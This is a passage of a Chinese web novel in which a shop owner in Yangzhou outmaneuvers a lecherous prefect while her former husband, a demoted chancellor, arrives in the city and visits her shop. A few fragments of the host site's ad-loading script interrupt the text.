伍听肆紧接着问:“那为了什么。” 耿婳低声道:“还能为了什么。” “我问你话你就直接答。说,为什么来这儿打杂?” 耿婳慢慢抬起头,回道:“为了生存,为了钱,还有……” 还有为了完成自己难以启齿的小心愿——剔除原生家庭和婚姻礼教的束缚,独立生存在这个世上。 她很想看看,摆脱世俗的条条框框后,自己能多么自由快活。 伍听肆知她心里所想,也没多说。因为他有时候也会思考,人的灵魂何时才能完成自我救赎和重塑? 抬眸看到目光坚定的耿婳,他心中有了答案。 ——一定是在被扒皮抽筋碎骨重塑的最后关头。 26. 026 三年后。 春日的扬州城湿润温暖,和煦的风一吹,漫天柳絮如碎云般随掀起的珠帘飞旋进屋。 阮若招呼完最后一位顾客,关门打烊。 耿婳在前台翻着账本,脑袋都要埋进纸页里了。 “掌柜的,该歇歇了,当心眼睛。” 耿婳闻声抬头,眼前人影模糊。过了一会儿,阮若的轮廓稍稍清晰了些。 “我用得着你管?”她冷冷摆了一眼,继续对账。 阮若习以为常,心里暗怼了她几句,然后一颠一颠上楼。 紫殷正好把炖好的鱼端上来。 “好啊,你又偷吃!”阮若撸起袖子,就要打他。 紫殷灵巧地跳到椅子上,放下菜盘,弯起嘴角,“我哪有偷吃。” 阮若粗着嗓子喊:“你不偷吃,鱼眼哪儿去了?” “留给掌柜的补眼睛。”紫殷语气温和,笑得如沐春风。 阮若干巴巴道:“真的假的,你撒谎怎么办。” 紫殷眼里闪过阴鸷,顷刻掏出腰间短刀,笑嘻嘻说:“怎么办呢,那把说我撒谎的人眼睛挖出来吧。” 阮若吓得浑身不舒服,老实去厨房端菜了。 耿婳的伙计不少,住店的只有阮若和紫殷。 阮若今年十六岁,本是幽州武馆家的庶女,逃婚跑到扬州,花光盘缠到店里打工。耿婳见她有点身手就留她在店里,后来又雇了十七岁的紫殷看场子外加掌勺,他也是店里唯一的小厮。 半个时辰后,耿婳提裙施施然上楼,坐到主位。 紫殷做的菜肴丰盛,都是她爱吃的鱼肉、鱼粥,为了迎合她的口味,一滴辣油都没放。 直到她动筷子,饿了一下午的阮若和紫殷才敢夹菜。 “掌柜的,这是给您的鱼眼,还有菠菜,可以醒目。”紫殷只管给耿婳夹菜。 阮若斜眼看他。回回吃饭都是这番舔狗姿态,真是无事献殷勤,非奸即盗。 “顾好你自己吧。掌柜的哪有空搭理你?” 耿婳对美食有多热情,就对他俩有多冷淡。她仔细吃着鱼,鲜少说话。店里生意红火,她又有开新店的打算,即使闲下来也是思虑公事,没空闲聊乱侃。 紫殷和阮若却你一句我一句说个没完。 “掌柜的真有你的,一出新品流水就翻了一番。”阮若笑嘻嘻说。 紫殷对她露出阴沉的笑:“你在惦记提成吧。” 阮若心虚地摆了他一眼。 紫殷殷勤夹菜,“掌柜的别太累了,店里生意兴隆,实在不行就多招几个杂役。” 他本来想劝耿婳招个账房,可知道她重利又多疑,肯定不愿交出财政大权。 “那怎么行!”阮若不干了,“我这么机灵的人在,干嘛要找外人?” 一见她炸毛,紫殷乐得更欢了:“这不要开新店,不多招点人怎么忙得过来?” 销售提成和工钱挂钩,阮若怎会愿意外人竞争。他一语中的,阮若被戳中心思,气不打一处来。 阮若忙道:“我看倒应该多招几个大汉,就你这小身板,来了贼都不够人家打的!” 耿婳放下筷子,“饭菜都堵不住你们嘴?” 冷淡又锐利的话音打断他们,偏偏声线里夹带恰到好处的甜意,让本来严肃的御姐音更好听了。 简简单单一句话出口,桌上立刻安静了。 耿婳垂着头,眼睛向上翻,仍旧用锐利的眸光盯着他们。直盯得他们二人发毛,她才优哉游哉收回目光,慢条斯理吃鱼。 安静了一会儿,她道:“巡城校尉偏爱来这儿,有活门神在,不用多花钱雇人。杂役倒是多点儿好,不然确实忙不过来。” 阮若道:“可是……” “什么可是?吃完陪我去趟灵云楼。”耿婳皱着眉头下令,话里没有半句含糊。 “噢。”阮若安静扒饭,瞪了紫殷一眼。 耿婳还要去灵云楼吃第二顿,她垫补两口,回闺房梳妆。 紫殷乐呵呵说:“偷鸡不成蚀把米哟。” 阮若岂是好惹的,她扬起下巴说,“开新店自然该多招人负责安保,掌柜的硬是不要,估计是和王校尉……” 阮若故意点到为止,紫殷一惊,恼道:“我就怀疑那个姓王的醉翁之意不在酒!” 阮若若无其事地吃了口甜醋鱼,叹道:“真酸呐。” 深夜,吉庆街仍花灯密布,热络非常。 紫殷扶耿婳上马车。 耿婳道:“说了多少次,不用你跟着,看店就行。” “万一那个狗官占你便宜怎么办。”紫殷揪着她袖口不放,脸上显出愁绪。 扬州刺史王绅听了上边风吹草动,打算重新改造街市城池,已经确定改造西街为商业街。如今街边两侧的店面门脸都装饰好,就等招商了。 耿婳心心念念的新店,就打算开在这条街上。这也是她去灵云楼的目的。 “可是我不放心。” 耿婳对紫殷露出明艳的笑,而后道:“不放心什么,他能吃了我不成?” 紫殷欲言又止,咬着唇,星目里闪着不安和委屈,紧紧攥着耿婳袖子的手就是不放。 阮若斜睨他,腹诽道:什么人啊,又演上苦情戏了。 耿婳安抚地摸摸头,给他顺毛,然后勒令他留下。紫殷只好乖乖看家。 阮若驾车载她到灵云楼时,街上熙熙攘攘,正是最热闹的时候。 早有刺史身边的侍从在楼下等着,引她们进去。 “有劳了。” 耿婳热络地笑着,看得那人眼里放光。 她不是第一次来灵云楼,每每进来都会给她一种熟悉的感觉,这里的装潢布置和京城的那栋大名鼎鼎的官办酒楼甚是相似。 随着一级一级台阶往上,亮堂堂的灯烛将她窈窕的身影拉得老长。阮若陪在身侧,肉眼可见她面上的疲惫。 她们随侍从走上顶层,宽敞的雅间门被打开,随之而来的是浓重的酒臭味。 一进屋,阮若屏住呼气,眼里的嫌恶都快溢出来了。耿婳早就换了一副笑颜,红裙雪肤,水眸缱绻,尽态极妍。 众人目光齐刷刷看过来,谈话声戛然而止,气氛旋即一滞。 阮若也不自觉偷瞄身旁自家老板,她只瞧一眼就酥了半边身子,更别说这满屋子血气方刚的大老爷们儿。 “呦,耿掌柜!”柳掌柜率先反应过来,热情招呼她。 明明是个大男人,柳炎却打扮得比歌女还美。也难怪,他死命巴结的那位官爷有龙阳之好。他涂脂抹粉也算投其所好。 席位间还有几位生意红火的掌柜,要么像柳掌柜一样打算卖掉自己,要么带着美色金银前来讨好。说白了,都是为了西街招商的事而来。 只有耿婳一个女掌柜,看着甚是醒目。她偏又打扮得花枝招展,比那几位陪酒的美人还妩媚多姿,不禁让人遐想连篇。 扬州刺史王绅坐在上首翘首以盼,心心念念盼着她来。耿婳一看空位,就知道王刺史旁边是留给她的。 迎着众人别有用心的目光,她自然大方地坐到刺史身边。 “王大人莫怪,奴家迟了。” 张口的声音甜丝丝的,还带着成熟女人十足的媚意,勾人不自知。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 王绅之前他没和耿婳打过交道。只听夫人提起过这位名震扬州的耿掌柜。据说是个性格古怪的绝色美人,年方二十还未婚配。 如今一看,还真不是寻常男人能驾驭的。 一想到这么温顺貌美的女子竟然要苦苦经营店铺,王绅瞬间同情心大发,想要给她一个家,让她有个娃。 “不怪不怪。美人儿,我怎会怪你呢。”王绅看着她的笑容,不自觉也跟着笑了起来。 阮若在一旁伺候酒水,被那张肥脸上油腻的笑容激得浑身起了鸡皮疙瘩。她私下嚣张跋扈,可头一次来官场混酒局,难免紧张,就算恶心也只能默默忍着。 耿婳望着那张痴汉脸,仍笑得真挚自然。她给王绅递上一杯美酒,道:“王大人日理万机,还要亲自操劳街市城建,如此为国为民,真让我等惭愧。奴家在这里,敬王大人一杯。” 其他人也忙跟着敬酒。 阮若饶是惊讶,跟随耿婳多年,知道她性子冷淡,非必要的酒局向来能推就推,可这番场面话真是游刃有余,张口就来。 平时在店里对客人热情也就算了,面对扬州城里显赫的大官,照旧对答如流,真不像没见过世面的人。 王绅在家被老婆欺负惯了,就爱吃体贴这套。耿婳这么温顺,正中他下怀。 自家夫人曾说她性格泼辣乖张,他本以为是个刁钻另类的美人,没想到这么温顺好相处。 于是,王绅赶紧给她倒了杯酒,笑道:“哪里哪里。为了百姓,累些也无妨。毕竟圣上看中扬州城,这么个千载难逢的机遇,怎么能不认真呢。” 耿婳心中惊讶,崇拜地看着王绅,“王大人不愧是扬州一手遮天的大人物,竟然能和当今天子搭上线。” 她说着又倒了杯酒,把人高高捧起,就是为了套话。坊间早就传出风声,说朝廷要大变天,而变革的中心正是扬州城。 这次前来,就是要看看西街的改造是不是和这起政治传闻有关。若真如传闻所料,耿婳势必要拿下西街最核心的区位。 几杯酒下肚,王醉醺醺朝洛阳方向作揖,“圣上英明,器重我扬州,似乎有迁都之意。” 最后四个字,他压得很低。实际上,在座的官员多是心腹之人,这则八卦早就在扬州官场低调得传开了。 在座的几位掌柜震惊无比,若是扬州成了都城,势必更加繁华吸金。此刻再想起那条还未招商的西街,已经满满全是美好的铜臭味了。 王绅又道:“新政确实造福百姓,充盈国库。可惜得罪了旧族势力,这三年京城内斗得厉害,朝廷风起云涌,官家下令贬了当朝丞相……” 耿婳瞬间理清了其中的弯弯绕绕。 天子为了维护新政,也为了制衡朝堂权力,不得不罢免这场新政的执行人,以此安抚顽固派势力。 可是,他若满意新政,势必也器重这位给他出谋划策的丞相。如果有迁都之意,一定会把这位心腹率先贬到…… “丞相要来我们这儿了,可得提前做好准备,一个个打起十二分精神,务必不能出半分岔子!听清了没?!” 王绅打了个酒嗝,朝下边人发号施令。 说罢,他轻轻拉了拉耿婳袖子,又瞥了眼隔壁内室,隐晦地暗示着。 耿婳好心提醒:“你就不怕你夫人?” 一提到夫人,王绅清醒大半,吞咽一口,对她小声耳语:“我知道你认识我家娘子,但能不能高抬贵手。只要你别告诉她,成事之后许你西街中心区位最好的铺子。我再买个宅子,专门养你。” 瞧他半是威胁半是求饶的滑稽模样,耿婳笑得神秘:“好啊,王大人。我送你一程。” 27. 027 在众目睽睽之下,王大人半推半就领耿婳进内室,不知道的还以为他是那个不情不愿的人呢。 内室燃着橘红的灯火,一瞬间将耿婳映照得分外昳丽。白皙的小脸,大气的五官,浓艳中透着一股神秘。水眸微眯,闪烁着精明的光。红唇勾起,露出意味不明的笑。 “耿大美人,你老看着我干嘛。”王绅被她盯得头皮发麻。 “王大人,还有什么话要说吗?” 一种逼人说遗言的既视感。 王绅急道:“有什么好说的,要不赶紧……” 耿婳一脸严肃,神情阴森。王绅吓了一跳,正色轻咳,故作姿态道:“请,耿掌柜。” 说着他先往屏风后的罗汉榻走去。耿婳顺势伸腿,绊了他一脚。王绅惨叫一声,圆润地滚到了屏风后边。 他一骨碌爬起,憋着火还没发作,一眼瞅见罗汉榻上正襟危坐的女人。 这人他再熟悉不过。 “媳、媳妇……” 看到夫人那张阎王脸,王绅吓得满身冷汗,才知这是耿婳的计。 一见老婆,他愧疚难当,膝盖一软,腿一打弯儿,软趴趴跪了。 “王夫人,我先告辞了。您夫妻俩慢聊。”耿婳稍微对她福身,悠悠退下了。 耿婳一回雅间,众人饶是惊讶。 这么快?! 注意到耿婳衣衫整齐,又听到隔壁尖锐刺耳的女音,他们就都明白了。 “竟敢出门偷吃,看我怎么收拾你!” “冤枉啊冤枉,君子论迹不论心,我还没吃……” “那你是有心想吃了?老娘今儿打你个筋断骨折!” 隔壁传来王大人的惨叫,众人假装没听见,尴尬地推杯换盏。这场饭局也在群龙无首的状况下无疾而终。 王夫人找小厮搀扶王绅离开后,转而回到雅间。 耿婳果然还候在这儿。 四下无人,王夫人抱着双臂走来,她生得方额广颐,一脸富态。在将门之家长大,从小假充男儿教养,性子刚强,嫁了人也从不惯着丈夫。 王夫人双手叉腰说:“没想到他还真敢胡来,多亏你通风报信。” 耿婳笑道:“哪里哪里,夫人说笑了。我也是为了自保罢了。该说谢谢的是我才对。” 来灵云楼之前,耿婳先去刺史府给王夫人传了信。王夫人最爱胭脂水粉,是婳坊的大主顾,两人性格相投,一来二去成了好友。 王夫人对她说着夫君坏话,好一通发泄后,又叫他过来道歉。 耿婳笑着原谅他,问他以后还敢不敢了。 王夫人白了一眼,道:“要不是过几日得去迎接新来的司马,定要把他打成真的猪头!” 耿婳暗自震惊,悄悄看了王刺史一眼。所以这还没打成猪头吗? 王绅鼻青脸肿,可怜巴巴道:“还是夫人大度。京城来的魏大人要是看见猪头脸,说不定会担忧扬州城的治安。” 此话一出,夫妻俩僵硬的氛围和谐了不少。王夫人绷着的脸舒展开,不像刚才那么气了。 耿婳心想,真不愧是当官的,能屈能伸,还会说好话哄人,枪舌如簧的技术练就得炉火纯青。 她没空多想其他,只问了心中疑虑:“您刚才提的魏大人,就是从京城调来的新任扬州司马?” 王刺史道:“是啊。就是当今丞相,被贬来的。” 耿婳袖口里的手指蜷起攥紧。 王夫人立刻提点他:“我找洛阳的亲戚打听了,魏相表面被贬,可明眼人都知道,天子重视新政,也器重他。既然有迁都传言,他奉圣上旨意暗访扬州也未可知。” 说完,她立刻朝夫君凶道:“这么重大的事,你可要给我多上心,不许出岔子!” “是是是,这不安排着城建呢,正好把荒废的西街改造起来。” 说到西街,王夫人又想起了耿婳。她笑道:“今晚耿掌柜帮了我大忙。之前说好的西街那块地,就照你的意思办吧。” 耿婳美眸轻转,笑道:“那还有劳王大人写个凭证。” 从灵云楼出来时,已是深夜。耿婳告别王夫人,又冷不丁被她催起了婚。 王夫人为人爽朗,最喜欢给人牵线拉媒,临走前她悄悄跟耿婳说:“上次给你介绍的那位崔大人,怎么样啊?” 耿婳决心不会和当官的男人再有来往,却又不好直言,于是客套了几句,体面地岔开话题告辞。 阮若收起杌凳,抬起长腿直接上了马车,掀帘看了眼耿婳。 “掌柜的,你怎么了?”刚刚她就觉得耿婳情绪不对。 耿婳托腮看着轩窗外的夜景,像在想事,神色不辨悲喜。 她手里尚握着王绅给的西街店面凭证,阮若知道她这两个月为了这事殚精竭虑,不知费了多少心思。如今顺利拿下新店地盘,脸上却不见一丝笑容。 耿婳迟迟不说话。阮若不知她的过往,暗想:真是个怪人,拿了好处还冷冰冰的,人家刺史夫人亲自说媒还能害她吗? 真不知她在想什么…… 街上华灯重重,光影斑驳。耿婳倚窗沉思,侧脸打上了七彩多变的晕轮。 三年的时间,能把一个人重塑成什么样子,她也不知道。 被伍听肆硬逼着拒绝彩月的两个月后,她被提拔成那些人的头头。 又过了一年,她当上店里总管。白天忙生意,夜里钻研母亲留下的香粉配方。当年她在相府和熹微姑姑彻夜钻研过,凭着记忆和实操,又慢慢找到方向。 第三年,她借伍听肆的资金独立开店,专心经营水粉生意。自此以后,扬州城里多了个爽利的女掌柜,她精明能干,生意越做越大,如今有了开新店的想法。 也是这一年,朝廷风起云涌,新政成功延续的同时,年轻的丞相跌入神坛,成了被贬出京的扬州司马。 城里愈发传得沸沸扬扬,听说京城里的大官贬来扬州了。每每听人提起,耿婳心里隐隐不安。 若来人真是他…… 又能怎样呢。 扬州城这么大,他们一个官,一个商,能有什么交集。 况且,她连自己前夫叫什么,都快记不清了。那些尘封心底,不愿提及的遥远记忆,仿佛是上辈子发生的事。 早就和她没关系了。 想到这儿,耿婳又快速踏实下来。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“早听说江南多雨,没想到路这么难走。”玄海费了半天劲,才把车轮从官道水坑里解救出来。 他本来想走水路,却担心魏巍不适应。 可与暗流涌动的朝堂相比,连绵阵雨又算得了什么。魏巍浑不在意,只教他快点赶路。 这次贬到扬州,魏巍轻装简行,只带了玄海一个仆役。到了驿馆,魏巍撑伞进了客房。 玄海唤人传膳,菜都布好了。 魏巍支开窗,轩立着静静听雨。他一席月白色直裰,方正清雅,露出几分书生气质。 玄海见他默默出神,便知他是在想耿婳。 三年前送葬后,魏巍大病一场,晕了三日方醒。大夫说是忧思过度,需要静养。之后,玄海发现他常常对窗出神。 从那天起,相府上下再无人敢提耿婳。向来了解他的杨氏和玄海,也难以置信耿婳在魏巍心里的地位。 “相爷,该吃饭了。”玄海小声督促,后知后觉魏巍已不再是丞相。 这场朝堂内斗之下的贬谪,并没有打压到魏巍。玄海知道,扬州城是夫人娘家,所以主子一路睹物思人,才会神情恹恹。 半晌,魏巍回神,低沉道:“你说。她要是活着,看见江南烟雨会有多高兴。” 像是问他,又像是自言自语。 当年事发突然,魏巍悲恸至极。病愈后,他凝神细想,断言耿婳没有身亡。玄海一度以为他相思成疾,其他人也觉得他魔怔了。 实际上,不管是魏巍还是玄海,都没有亲眼目睹耿婳的尸首。既然没有亲眼所见,他断然不会去信妻子突发恶疾孕期暴毙的事! 养病七日后,魏巍唤来当初给耿婳侍疾的下人,一一盘问。 可是所有下人口径一致,对答如流。这些都是母亲杨氏的人。 他忽而想起了耿婳身边的下人。一问才知,在她孕期,身边最亲近的姑姑染病去逝,另外两个丫鬟笨手笨脚就被支开,杨氏精挑细选了身边能人照顾伺候。 魏巍也曾问过杨氏,得到的回复和之前一样。他深知母亲不喜耿婳,却也了解母亲为人。 杨氏定然不会做害人性命的勾当。 他万念俱灰,只好说服自己,耿婳已死。 可收拾遗物时,却没看到她衣柜里的鲜艳衣裙。他记得,她很喜欢穿红衣。可留在柜中的,全是素色衣物。 这是他百思不得其解之事。 魏巍醉酒后曾与许渊说过其中蹊跷,许渊顺势劝他放宽心。 “你家小夫人冰雪聪明,说不定瞒天过海逃出生天了。你就只当她赌气出了趟远门,等她气消了,自然就会回来。她难得自由一阵,你该替她高兴才对。” 许渊这人一向浪漫,酒后这通云里雾里的话,自己醒来都忘了。魏巍却听进了心里。他把这点几乎不可能的纰漏当成了希望,以此为念熬了三年。 三年来,魏巍时常深陷繁杂的思绪中。 白天她入眼,夜里她入梦。 所以每每出神,玄海都见怪不怪了。 许久,魏巍舒了口气,轻声问:“若是她真还活着,是不是也会来扬州城。这里是她娘家,她回来一定欢喜。” 28. 028 刚驾车到扬州城门,玄海就见到了极大的排场。 一群衣着华丽的官老爷正立在城墙上,冒着细雨翘首以盼。城门大开,周遭街道洒扫得分外干净,灯笼一尘不染,都是为了迎接魏巍临时换了新的。 一见魏巍的马车,众人纷纷下楼于城门边恭候,就差放鞭炮挂横幅大肆欢迎了。 玄海下车,摆好杌凳。 冷白色骨节分明的手掀开车帘,来人穿一件圆领窄袖的白袍,革带上并无环佩装饰,只孤零零挂着个绿色纹竹香囊。 他穿着干净利落,利簪束发,一丝不苟。年至三旬,岁月并没在他身上留下痕迹,仍是那般清正俊朗。 魏巍撑一把墨黑油纸伞下车,淡淡扫过瞠目的众人。凤眸透着股远超同龄的冷肃,那是身居高位、久历朝堂才会厮杀出的强大气场。 王绅年龄比他大,气场却没他足,崇敬之情不禁油然而生。 “魏大人,久仰久仰。”王绅满脸堆笑,带着手下的张别驾和刘长史对他作揖。 魏巍望着这位笑得跟弥勒佛一样的胖男人,在他微青的脸颊上多留意了几下。王绅注意到他的眼神,嘴角微不可查地抽了抽。 他上回轻薄耿婳未遂,被夫人教训的痕迹还没完全消除,涂了一些云母粉才勉强遮掩住。 魏巍还礼笑道:“王大人客气了。魏某初来乍到,若有错处还望海涵。” 他说得客气随和,王绅哪敢和他真客气。 虽说扬州司马的职位低于他这个刺史,可毕竟是天子器重的人,万万怠慢不得。众人皆以迎接高官的礼节来接待魏巍。论礼教,多少有些僭越。 魏巍不但不介意,反而融入其中,显得随意又自然。 在场的人哪个不是官场老油条,更加笃定魏巍是被派来“下凡”考察政务的。扬州若入得了他的眼,保不齐就是下一个京城。若是脏了他的眼,王绅和手底下人都要跟着遭殃。 一想到这儿,王绅倍感压力,忙招待他去灵云楼用膳。 路上雨又哗哗下大了。到灵云楼时,檐下雨幕溅起水渍,染湿了魏巍的皂靴。 王绅是个眼尖的,注意到那双旧鞋时甚是惊讶。旋即心下一悬,魏大人必定是个躬行节俭之人,排场搞这么大,会不会惹他不悦? 饭局上,魏巍与众人觥筹交错,把酒言欢。席间的舞女他连看都没看一眼,王绅旋即唤来姿容极佳的官.妓坐到魏巍身边,亲自把盏。 “大人……”她刚要给魏巍递酒,却被他冷厉的眼神锁住,“请”字卡在喉咙里,一时间汗流浃背,支支吾吾不敢说话了。 不管什么样的人,被他这么盯一眼都会瞬间老实。他不喜与异性接触,眼神里隐隐含着警告,这是拍山震虎,给王绅等人的警告。 王刺史见了,脸色略有难堪。 张别驾起身给魏巍敬酒,而后拱手道:“扬州城土僻山荒,接待若有不周,还请海涵。” 张别驾是个老实人,不怕魏巍怪罪,只求责改。 魏巍回礼道:“魏某喜静,最多听听琵琶。” 舞乐声不绝于耳,两人低声交谈后,张别驾示意王绅,撤去舞女官.妓,换来伶人演奏琵琶。 魏巍轻装简行,没带女眷。难不成没打算在扬州久留? 他又命美人陪酒,却被魏巍婉拒。王绅转而看了眼侍立在魏巍身边的俊气小厮,一时间想入非非。 这场饭局吃得这叫一个心神不宁,战战兢兢。 午后,他借由公事繁忙,推脱离去。命张别驾和刘长史带魏巍闲游扬州城。 当然,游览路线也是提前规划好的,要把最好的一面展示给大人物看。除了官署衙门外,还要体现黎民百姓热络的烟火气息。 扬州水路多,魏巍乘坐画舫随两位大人在雨中游春景。沿岸街道上,一些民女撑伞翘首望着画舫,想要一睹前任丞相的尊颜。 “魏大人名扬万里,把扬州待字闺中的女儿们都引来了。”刘长史半开玩笑地说着热络话。 之所以这么说,自有缘由。王绅打探过,魏相曾有过一段短暂的婚姻,那位夫人嫁过去没多久便香消玉殒,没有留下一子半女。 如今三年过去,魏巍没带女眷,只身前来,对席间美人绝色置之不理,不禁令人疑惑。 王大人临走前悄悄交代过,务必打探清楚。 玄海一听这话,心里自然为主子骄傲。得亏新政的成功,他家大人的美名已经从京城传到遥远的扬州了,这真不知道又要伤害多少无辜的少女心。 魏巍明白刘长史话中有话,估计是怕直接问询多有冒犯,这才小心试探他。 于是魏巍回道:“魏某一心公务,贱内故去后并未续弦。” 这样答,是在拒绝日后饭局上不必要的艳舞和狎妓。 刘长史领会后,又道:“扬州水气重,雨季长,魏大人若有不便,只管告诉小人,定为您安排得妥妥当当。” “起居不劳长史大人费心,魏某来扬州赴任,并非挂职享乐。”魏巍回道,“但能借机一睹江南美景,确实荣幸。” 刘长史听明白了,与张别驾会心交流眼神。 这大官来扬州,确实不是单纯贬谪。如此一来,定要好好把扬州城的风貌展览展览,供其考核。 这条“旅行线路”是王绅早早规划好的。顺着东市的吉庆街出发,沿路的商铺鳞次栉比。即使雨天,行人照旧络绎不绝。 魏巍执伞走在扬州雨幕里,脚下一硬,原来踩到了小石子。他垂眸看了眼稍稍陈旧的皂靴,又想起了日夜缝制它的耿婳。 随着哗哗啦啦的雨声,刘长史和张别驾的声音渐渐模糊,和耿婳短暂相处的画面再一次与眼前回闪。 这里是她母亲生活过的家乡。若能牵手陪她走过母亲曾走的路,不知该有多幸福。不像现在,形单影只,孑然一身。 阴凉感不知不觉透过脚底,他低头一看,原来踩在了水洼中。 她做的皂靴又被他弄脏了。 魏巍暗暗叹息,听见动静恍然抬头,迎面看到一位身着男装的英气女子。那人一席黑衣,梳着马尾,别别扭扭对他们行了个女儿家的礼。 刘长史和张别驾见他一路心不在焉,眼下却往胭脂铺里瞧,一时讶然。 魏巍稍稍退后,抬头忘了眼店门上的招牌。 婳坊。 店铺面积不大不小,门前收拾的干干净净,旁边的挂着的木牌上贴着招聘的字样。 他盯着店面出神。 张别驾顺嘴说:“魏大人想进去看看?” 说罢,他又后悔起来。他们一群大男人明晃晃进女儿家才逛得胭脂铺子岂不令人耻笑。 可话都说了,颇有点骑虎难下的意味。 谁知魏巍竟然应了声“好”。 刘长史斜了张别驾一眼,后者亦是瞠目。 “大人……”玄海小声嘟囔一句,想要制止。他知道主子定是见字思人,想起夫人了。 这样一来,又不知晚上要梦醒几回了。 魏巍已经和刘张两人一起进去了。迎接他们的是刚才那个“女豪杰”。 阮若万万没想到他们会真进来。 吉庆街的所有商户早就接到上边指令,说今日有大人物光顾,要提前收拾妥当。 官府还特派人一一检查。为了迎接他们的大驾光临,阮若和其他杂役把门前台阶擦得都能当镜子照了。 阮若愣怔一瞬,忙收起平日的泼辣,拘谨道:“各、各位大人想要点什么。” 说完她就想抽自己一巴掌。她家店里卖的东西都是给女人的,这群大老爷们儿能要什么! 一想到这儿,她又暗骂这些人。真不知道抽了什么疯非要来这儿!
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 阮若心里一通抱怨,看见为首的男人目光随和,又瞬间安心。转而跟着他的脚步,默默观察着这人。 据传言,这好像就是从京城来的官? 还挺帅的。 店里女客也打量着三位男子,而后把目光锁定在魏巍身上,一边悄咪咪偷看,一边勾唇窃窃私语。 这次换成刘长史和张别驾面面相觑。他们事先安排的是在前面古玩店落脚,再精心挑选几件古董送予魏巍,体面又风雅。 魏巍浑不在意旁人,拿起一个精致的小木盒,打开一看。 “云母粉。”他不自觉说出口。 阮若接话:“大人真识货,这云母粉是我们店招牌,涂在身上可以掩疤去痕,美白润肤。官人小姐都爱用,卖得可好了,您不如也……” 阮若越说越顺,又自然而然推销起来,可看到后面两位大人阴郁的眼神时,一下不敢说了。 谁知魏巍道:“嗯,我买了。” 此话一出,惊掉了刘长史和张别驾的下巴。 魏巍握紧这个似曾相识的木盒,刚要付钱,就被刘长史拦下。 “不劳魏大人破费。”他又朝阮若说,“记我账上吧。” 魏巍推脱不掉,阮若记在前台账本上,又送了他们一人一小盒香料。 “这是本店赠的小样,下月上新,可以提前试用。” “多谢掌柜。”魏巍又问道,“这盒云母粉是你们店研制的,还是统一批发的?” “啊?我不是掌柜的。”阮若挠挠头,随便岔开话题。行业机密,哪能随便和外人说。 可这位大官人非要较真,又重复问了一次。 货都卖出去了,阮若才不要回答这种无关问题。即便长得俊,她也不敢多和当官的说话。她求助似的看了后面两位大人,恨不得他俩赶紧带这人走。 刘长史抢先一步解释:“耿掌柜平日都在,今儿估计是去前边古玩店找钱掌柜闲聊去了。您想细问,不如去前边看看。张别驾和那家熟悉,正好张别驾带路,说不定能淘到值钱的字画。” 张别驾顺杆往上爬,笑呵呵应下,正要带魏巍离开。 魏巍没动。 阮若一头雾水地说:“没有啊,我家掌柜在楼上休息。” 张别驾:“……” 刘长史:“……” 魏巍握紧木盒,盯着阮若问:“你家掌柜的人呢?” 阮若如释重负,只要把掌柜的叫来,她就不用夹在中间受罪了。 “掌柜的,掌柜的?有人找!”她大嗓门地仰头喊起来。 “别喊了,掌柜的刚睡下!”从楼上跑下一个拿漆盘的清秀少年。 他通身黑衣,皮肤冷白,梳着高马尾,腰间别着银色短刀,正对他们笑。 他和阮若站在一起,两人穿着打扮相似,看着既像一对女扮男装的姐妹,又像一对小白脸兄弟。 一看三位穿着讲究的官老爷,紫殷笑得人畜无害,温和道:“小人紫殷,见过几位官爷。我家掌柜的卧病歇息,不能迎客。吉庆街琳琅满目,前面风光更好,不如我带几位爷去转转?” “也罢也罢。”张别驾笑道:“鄙人不才,愿为向导。两位大人,请吧。” 紫殷顺水推舟,“得咧,我来送送几位爷!” 魏巍跨过门槛,扭头问他:“你家掌柜的姓耿?” 紫殷笑道:“是,我家掌柜的姓耿。但天底下姓耿的人多的是。” 也对。 天下姓氏相同者数不胜数,岂会轻易有顺他心意的巧合? 魏巍攥紧云母粉盒,迈步出门。 密集的春雨如细线般从苍穹散落,耿婳于二楼支开窗,眯起眼睛看见楼下模糊的三顶伞。 她抽下支杆,用力一拍。 哐当一声巨响,窗户倏地落下,惊得几上茶水一震。 29. 029 王绅原本要和他们去逛吉庆街,可临时有了别的安排。 他以为京城来的大官好面子爱排场,没想到这般低调,杀得他措手不及。 宴席后,王绅以公务缠身为由离开,偷偷去给魏巍收拾新家。 原本安排了扬州城最气派的官宅,这下怕是不成了。王绅亲自选了一个清新雅致不大不小的宅院,又命人洒扫收拾,另外派人传信给刘长史。 日暮时分,刘长史顺利把人接过来。魏巍甚是满意,王绅总算松了心。 他围着魏巍忙了一整天,回家屁股还没坐稳,又被老婆提溜起来揉腿。 王夫人趴在床上看着兵书,悠闲地享受服务。一会儿她撂下书卷,照常问他公务:“今儿如何啊,魏巍可安排妥了?” 王绅正心累呢,不由吐槽起来,“以往招待官员无非美人美酒香车宝马。这人偏就古怪,一点好处不吃,比包公还铁!” 王夫人娘家在京城,对洛阳魏氏这种大家族素有耳闻。 王绅惊异,她倒平静:“魏巍是名门贵公子,哪像你们这些乡巴佬,就这点好处岂能让他动心?” “我早打听清了,魏巍三年前成了鳏夫,至今还没续弦。你怎么不在这方面多下下功夫?”王夫人提点。 “我下了,可他不吃这一套。”王绅把饭局上安排莺莺燕燕的事告诉媳妇。 王夫人数落道:“成事不足败事有余的东西!大白天当着那么多人的面,他肯定得装装样子,不然还能像你一样光明正大的狎.妓?” 大奉官场应酬会宴,有官妓侍候是司空见惯之事。可魏巍这种有头有脸自诩清高的人,或许是个人前一套人后一套的两面派。 王绅一拍脑门,他怎么没想到这一层。 白天不行,那就夜里试试。 另一边,魏巍进了宅院先叫水沐浴。玄海收拾完,又细心给他洗拭皂靴。 这双旧靴的布料起了毛,其实早该扔了。魏巍却穿了三年,起初日日穿戴,后来靴子脱了一次线,他缝补好后就收起来,只在闲暇时穿用。 这次扬州赴任,又毫无意外穿上了。这就是要在扬州安营扎寨的意味。 玄海心想:看来迁都的事不是圣上心血来潮的思量,而是定局。 魏巍沐浴完,穿着雪白的里衣披外袍到案前,打算临睡前记录一下今日扬州风物见闻。 玄海在一旁磨着墨,魏巍把今天买的云母粉摆在案上,又从行囊里拿出三年前耿婳送的那一盒。 两个黄花梨木的小方盒,甚是相似。魏巍打开,取粉反复对比,肉眼也看不出区别。 “婳坊,婳坊……” 如果那家店掌柜的不姓耿,他也许不会留意。 